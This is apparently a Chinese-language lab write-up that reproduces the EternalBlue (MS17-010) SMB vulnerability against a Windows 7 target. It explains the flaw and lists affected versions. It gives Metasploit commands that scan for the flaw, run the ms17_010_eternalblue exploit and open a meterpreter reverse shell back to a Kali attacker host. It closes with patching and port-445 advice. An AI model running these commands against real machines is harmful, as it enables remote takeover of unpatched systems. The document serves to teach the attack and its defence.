永恒之蓝EternalBlue(MS17-010)远程溢出漏洞复现

漏洞描述

简介

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

  注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源互通

SMB服务详解:https://www.cnblogs.com/aisa/p/8624720.html

漏洞原理代码详解

下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解该漏洞的可以点击查看

http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772 https://blog.csdn.net/qq_27446553/article/details/73480807

 

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

 

漏洞复现

需要的工具

metasploit-framework

 

需要的环境

Windows 7

Windows 7 Ultimate with Service Pack 1 (x64)

 

攻击机:Kali Linux IP:192.168.10.128

靶机:Windows 7 IP:192.168.10.130

 

复现过程

在kali里打开msf

1
msfconsole
image-20200610094249597

 

搜索MS17-010的漏洞利用模块

1
search ms17-010

image-20200610150211323

 

我们先使用扫描的模块对目标机进行扫描,如果目标机存在漏洞的话,我们再使用漏洞利用模块

1
2
3
use auxiliary/scanner/smb/smb_ms17_010	//选择漏洞利用模块
set rhosts 192.168.10.130	//查看模块利用所需要的设置
run

image-20200610151027192

 

可以看到这里显示的该目标机存在MS17-010漏洞

接着我们用漏洞利用模块

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue	//设置目标主机的地址
set rhosts 192.168.10.130	//设置目标主机的地址
set payload windows/x64/meterpreter/reverse_tcp		//设置payload
set lhost 192.168.10.128 	//设置攻击机的地址
set lport 6666	//设置目标主机回连至攻击机的端口

image-20200610151421868

 

使用options看看还有没有没配置的

image-20200610151515011

 

配置都没问题,接下来运行看看

image-20200610151638708

 

成功弹回来了会话

image-20200610151742863

 

修复方法

1、最好的方法莫过于打补丁

此漏洞对应的微软补丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010

2、关闭危险高发的445端口

3、升级到Windows10